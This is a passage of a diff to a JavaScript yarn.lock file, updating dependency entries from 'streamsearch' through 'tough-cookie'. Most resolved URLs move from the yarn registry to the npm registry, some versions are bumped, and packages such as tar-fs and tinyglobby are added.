+  integrity sha512-xhV7w8S+bUwlPTb4bAOUQhv8/cSS5offJuX8GQGq32ONF0ZtDWKfkdomM3HMRA+LhX6um/FZ0COqlwsjD53LeQ==
   dependencies:
-    internal-slot "^1.0.4"
+    bl "^5.0.0"
 
-streamsearch@^1.1.0:
+stop-iteration-iterator@^1.1.0:
   version "1.1.0"
-  resolved "https://registry.yarnpkg.com/streamsearch/-/streamsearch-1.1.0.tgz#404dd1e2247ca94af554e841a8ef0eaa238da764"
-  integrity sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==
+  resolved "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz#f481ff70a548f6124d0312c3aa14cbfa7aa542ad"
+  integrity sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==
+  dependencies:
+    es-errors "^1.3.0"
+    internal-slot "^1.1.0"
+
+streamx@^2.15.0, streamx@^2.21.0:
+  version "2.22.0"
+  resolved "https://registry.npmjs.org/streamx/-/streamx-2.22.0.tgz"
+  integrity sha512-sLh1evHOzBy/iWRiR6d1zRcLao4gGZr3C1kzNz4fopCOKJb6xD9ub8Mpi9Mr1R6id5o43S+d93fI48UC5uM9aw==
+  dependencies:
+    fast-fifo "^1.3.2"
+    text-decoder "^1.1.0"
+  optionalDependencies:
+    bare-events "^2.2.0"
 
 string-length@^4.0.1:
   version "4.0.2"
-  resolved "https://registry.yarnpkg.com/string-length/-/string-length-4.0.2.tgz#a8a8dc7bd5c1a82b9b3c8b87e125f66871b6e57a"
+  resolved "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz"
   integrity sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==
   dependencies:
     char-regex "^1.0.2"
     strip-ansi "^6.0.0"
 
-"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
+"string-width-cjs@npm:string-width@^4.2.0":
+  version "4.2.3"
+  resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
   version "4.2.3"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
   integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
   dependencies:
     emoji-regex "^8.0.0"
@@ -9138,142 +10545,112 @@ string-length@^4.0.1:
 
 string-width@^5.0.1, string-width@^5.1.2:
   version "5.1.2"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794"
+  resolved "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz"
   integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==
   dependencies:
     eastasianwidth "^0.2.0"
     emoji-regex "^9.2.2"
     strip-ansi "^7.0.1"
 
-string.prototype.matchall@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz#3bf85722021816dcd1bf38bb714915887ca79fd3"
-  integrity sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-    get-intrinsic "^1.1.3"
-    has-symbols "^1.0.3"
-    internal-slot "^1.0.3"
-    regexp.prototype.flags "^1.4.3"
-    side-channel "^1.0.4"
-
-string.prototype.trim@^1.2.7:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz#a68352740859f6893f14ce3ef1bb3037f7a90533"
-  integrity sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-
-string.prototype.trim@^1.2.8:
-  version "1.2.8"
-  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz#f9ac6f8af4bd55ddfa8895e6aea92a96395393bd"
-  integrity sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-
-string.prototype.trimend@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz#c4a27fa026d979d79c04f17397f250a462944533"
-  integrity sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==
+string-width@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.npmjs.org/string-width/-/string-width-6.1.0.tgz"
+  integrity sha512-k01swCJAgQmuADB0YIc+7TuatfNvTBVOoaUWJjTB9R4VJzR5vNWzf5t42ESVZFPS8xTySF7CAdV4t/aaIm3UnQ==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
+    eastasianwidth "^0.2.0"
+    emoji-regex "^10.2.1"
+    strip-ansi "^7.0.1"
 
-string.prototype.trimend@^1.0.7:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz#1bb3afc5008661d73e2dc015cd4853732d6c471e"
-  integrity sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==
+string.prototype.trim@^1.2.10:
+  version "1.2.10"
+  resolved "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz#40b2dd5ee94c959b4dcfb1d65ce72e90da480c81"
+  integrity sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-data-property "^1.1.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-object-atoms "^1.0.0"
+    has-property-descriptors "^1.0.2"
 
-string.prototype.trimstart@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz#e90ab66aa8e4007d92ef591bbf3cd422c56bdcf4"
-  integrity sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==
+string.prototype.trimend@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz#62e2731272cd285041b36596054e9f66569b6942"
+  integrity sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
 
-string.prototype.trimstart@^1.0.7:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz#d4cdb44b83a4737ffbac2d406e405d43d0184298"
-  integrity sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==
+string.prototype.trimstart@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz#7ee834dda8c7c17eff3118472bb35bfedaa34dde"
+  integrity sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
 
 string_decoder@^1.1.1:
   version "1.3.0"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz"
   integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
   dependencies:
     safe-buffer "~5.2.0"
 
-"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+string_decoder@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz"
+  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+  dependencies:
+    safe-buffer "~5.1.0"
+
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
+  version "6.0.1"
+  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
   version "6.0.1"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
   integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
   dependencies:
     ansi-regex "^5.0.1"
 
-strip-ansi@^7.0.1:
+strip-ansi@^7.0.1, strip-ansi@^7.1.0:
   version "7.1.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.1.0.tgz#d5b6568ca689d8561370b0707685d22434faff45"
+  resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz"
   integrity sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==
   dependencies:
     ansi-regex "^6.0.1"
 
-strip-bom@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-  integrity sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==
-
 strip-bom@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878"
+  resolved "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz"
   integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==
 
 strip-final-newline@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
+  resolved "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz"
   integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
 
-strip-final-newline@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-3.0.0.tgz#52894c313fbff318835280aed60ff71ebf12b8fd"
-  integrity sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==
-
-strip-json-comments@^3.1.0, strip-json-comments@^3.1.1:
+strip-json-comments@^3.1.1:
   version "3.1.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz"
   integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
 
-styled-jsx@5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/styled-jsx/-/styled-jsx-5.1.1.tgz#839a1c3aaacc4e735fed0781b8619ea5d0009d1f"
-  integrity sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==
-  dependencies:
-    client-only "0.0.1"
-
-sucrase@^3.32.0:
-  version "3.32.0"
-  resolved "https://registry.yarnpkg.com/sucrase/-/sucrase-3.32.0.tgz#c4a95e0f1e18b6847127258a75cf360bc568d4a7"
-  integrity sha512-ydQOU34rpSyj2TGyz4D2p8rbktIOZ8QY9s+DGLvFU1i5pWJE8vkpruCjGCMHsdXwnD7JDcS+noSwM/a7zyNFDQ==
+sucrase@^3.35.0:
+  version "3.35.0"
+  resolved "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz"
+  integrity sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==
   dependencies:
     "@jridgewell/gen-mapping" "^0.3.2"
     commander "^4.0.0"
-    glob "7.1.6"
+    glob "^10.3.10"
     lines-and-columns "^1.1.6"
     mz "^2.7.0"
     pirates "^4.0.1"
@@ -9281,28 +10658,33 @@ sucrase@^3.32.0:
 
 supports-color@^5.3.0:
   version "5.5.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz"
   integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
   dependencies:
     has-flag "^3.0.0"
 
 supports-color@^7.0.0, supports-color@^7.1.0:
   version "7.2.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz"
   integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
   dependencies:
     has-flag "^4.0.0"
 
-supports-color@^8.0.0, supports-color@^8.1.0:
+supports-color@^8.0.0, supports-color@^8.1.0, supports-color@^8.1.1:
   version "8.1.1"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz"
   integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==
   dependencies:
     has-flag "^4.0.0"
 
+supports-color@^9.4.0:
+  version "9.4.0"
+  resolved "https://registry.npmjs.org/supports-color/-/supports-color-9.4.0.tgz"
+  integrity sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==
+
 supports-hyperlinks@^2.0.0:
   version "2.3.0"
-  resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz#3943544347c1ff90b15effb03fc14ae45ec10624"
+  resolved "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz"
   integrity sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==
   dependencies:
     has-flag "^4.0.0"
@@ -9310,127 +10692,130 @@ supports-hyperlinks@^2.0.0:
 
 supports-preserve-symlinks-flag@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
+  resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz"
   integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==
 
 symbol-tree@^3.2.4:
   version "3.2.4"
-  resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
+  resolved "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz"
   integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
 
-synckit@^0.8.5:
-  version "0.8.5"
-  resolved "https://registry.yarnpkg.com/synckit/-/synckit-0.8.5.tgz#b7f4358f9bb559437f9f167eb6bc46b3c9818fa3"
-  integrity sha512-L1dapNV6vu2s/4Sputv8xGsCdAVlb5nRDMFU/E27D44l5U6cw1g0dGd45uLc+OXjNMmF4ntiMdCimzcjFKQI8Q==
-  dependencies:
-    "@pkgr/utils" "^2.3.1"
-    tslib "^2.5.0"
-
-tailwindcss@^3.2.4:
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/tailwindcss/-/tailwindcss-3.3.2.tgz#2f9e35d715fdf0bbf674d90147a0684d7054a2d3"
-  integrity sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w==
-  dependencies:
-    "@alloc/quick-lru" "^5.2.0"
-    arg "^5.0.2"
-    chokidar "^3.5.3"
-    didyoumean "^1.2.2"
-    dlv "^1.1.3"
-    fast-glob "^3.2.12"
-    glob-parent "^6.0.2"
-    is-glob "^4.0.3"
-    jiti "^1.18.2"
-    lilconfig "^2.1.0"
-    micromatch "^4.0.5"
-    normalize-path "^3.0.0"
-    object-hash "^3.0.0"
-    picocolors "^1.0.0"
-    postcss "^8.4.23"
-    postcss-import "^15.1.0"
-    postcss-js "^4.0.1"
-    postcss-load-config "^4.0.1"
-    postcss-nested "^6.0.1"
-    postcss-selector-parser "^6.0.11"
-    postcss-value-parser "^4.2.0"
-    resolve "^1.22.2"
-    sucrase "^3.32.0"
-
 tapable@^2.2.0:
   version "2.2.1"
-  resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0"
+  resolved "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz"
   integrity sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==
 
+tar-fs@^3.0.8:
+  version "3.0.8"
+  resolved "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.8.tgz"
+  integrity sha512-ZoROL70jptorGAlgAYiLoBLItEKw/fUxg9BSYK/dF/GAGYFJOJJJMvjPAKDJraCXFwadD456FCuvLWgfhMsPwg==
+  dependencies:
+    pump "^3.0.0"
+    tar-stream "^3.1.5"
+  optionalDependencies:
+    bare-fs "^4.0.1"
+    bare-path "^3.0.0"
+
+tar-stream@^3.1.5:
+  version "3.1.7"
+  resolved "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.7.tgz"
+  integrity sha512-qJj60CXt7IU1Ffyc3NJMjh6EkuCFej46zUqJ4J7pqYlThyd9bO0XBTmcOIhSzZJVWfsLks0+nle/j538YAW9RQ==
+  dependencies:
+    b4a "^1.6.4"
+    fast-fifo "^1.2.0"
+    streamx "^2.15.0"
+
 terminal-link@^2.0.0:
   version "2.1.1"
-  resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
+  resolved "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz"
   integrity sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==
   dependencies:
     ansi-escapes "^4.2.1"
     supports-hyperlinks "^2.0.0"
 
-terser@^5.17.4:
-  version "5.30.2"
-  resolved "https://registry.yarnpkg.com/terser/-/terser-5.30.2.tgz#79fc2222c241647cea54ab928ac987ffbe8ce9e2"
-  integrity sha512-vTDjRKYKip4dOFL5VizdoxHTYDfEXPdz5t+FbxCC5Rp2s+KbEO8w5wqMDPgj7CtFKZuzq7PXv28fZoXfqqBVuw==
-  dependencies:
-    "@jridgewell/source-map" "^0.3.3"
-    acorn "^8.8.2"
-    commander "^2.20.0"
-    source-map-support "~0.5.20"
-
 test-exclude@^6.0.0:
   version "6.0.0"
-  resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
+  resolved "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz"
   integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==
   dependencies:
     "@istanbuljs/schema" "^0.1.2"
     glob "^7.1.4"
     minimatch "^3.0.4"
 
+text-decoder@^1.1.0:
+  version "1.2.3"
+  resolved "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz"
+  integrity sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==
+  dependencies:
+    b4a "^1.6.4"
+
+text-hex@1.0.x:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz"
+  integrity sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==
+
 text-table@^0.2.0:
   version "0.2.0"
-  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  resolved "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz"
   integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
 
 thenify-all@^1.0.0:
   version "1.6.0"
-  resolved "https://registry.yarnpkg.com/thenify-all/-/thenify-all-1.6.0.tgz#1a1918d402d8fc3f98fbf234db0bcc8cc10e9726"
+  resolved "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz"
   integrity sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==
   dependencies:
     thenify ">= 3.1.0 < 4"
 
 "thenify@>= 3.1.0 < 4":
   version "3.3.1"
-  resolved "https://registry.yarnpkg.com/thenify/-/thenify-3.3.1.tgz#8932e686a4066038a016dd9e2ca46add9838a95f"
+  resolved "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz"
   integrity sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==
   dependencies:
     any-promise "^1.0.0"
 
-titleize@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/titleize/-/titleize-3.0.0.tgz#71c12eb7fdd2558aa8a44b0be83b8a76694acd53"
-  integrity sha512-KxVu8EYHDPBdUYdKZdKtU2aj2XfEx9AfjXxE/Aj0vT06w2icA09Vus1rh6eSu1y01akYg6BjIK/hxyLJINoMLQ==
+tinyexec@^0.3.2:
+  version "0.3.2"
+  resolved "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz"
+  integrity sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==
+
+tinyglobby@^0.2.11:
+  version "0.2.12"
+  resolved "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.12.tgz"
+  integrity sha512-qkf4trmKSIiMTs/E63cxH+ojC2unam7rJ0WrauAzpT3ECNTxGRMlaXxVbfxMUC/w0LaYk6jQ4y/nGR9uBO3tww==
+  dependencies:
+    fdir "^6.4.3"
+    picomatch "^4.0.2"
+
+tmp@0.2.3:
+  version "0.2.3"
+  resolved "https://registry.npmjs.org/tmp/-/tmp-0.2.3.tgz"
+  integrity sha512-nZD7m9iCPC5g0pYmcaxogYKggSfLsdxl8of3Q/oIbqCqLLIO9IAF0GWjX1z9NZRHPiXv8Wex4yDCaZsgEw0Y8w==
 
 tmpl@1.0.5:
   version "1.0.5"
-  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
+  resolved "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz"
   integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==
 
 to-fast-properties@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
+  resolved "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz"
   integrity sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==
 
 to-regex-range@^5.0.1:
   version "5.0.1"
-  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
+  resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz"
   integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
   dependencies:
     is-number "^7.0.0"
 
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
 tough-cookie@^4.0.0, tough-cookie@^4.1.2:
   version "4.1.4"
-  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-4.1.4.tgz#945f1461b45b5a8c76821c33ea49c3ac192c1b36"
+  resolved "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz"
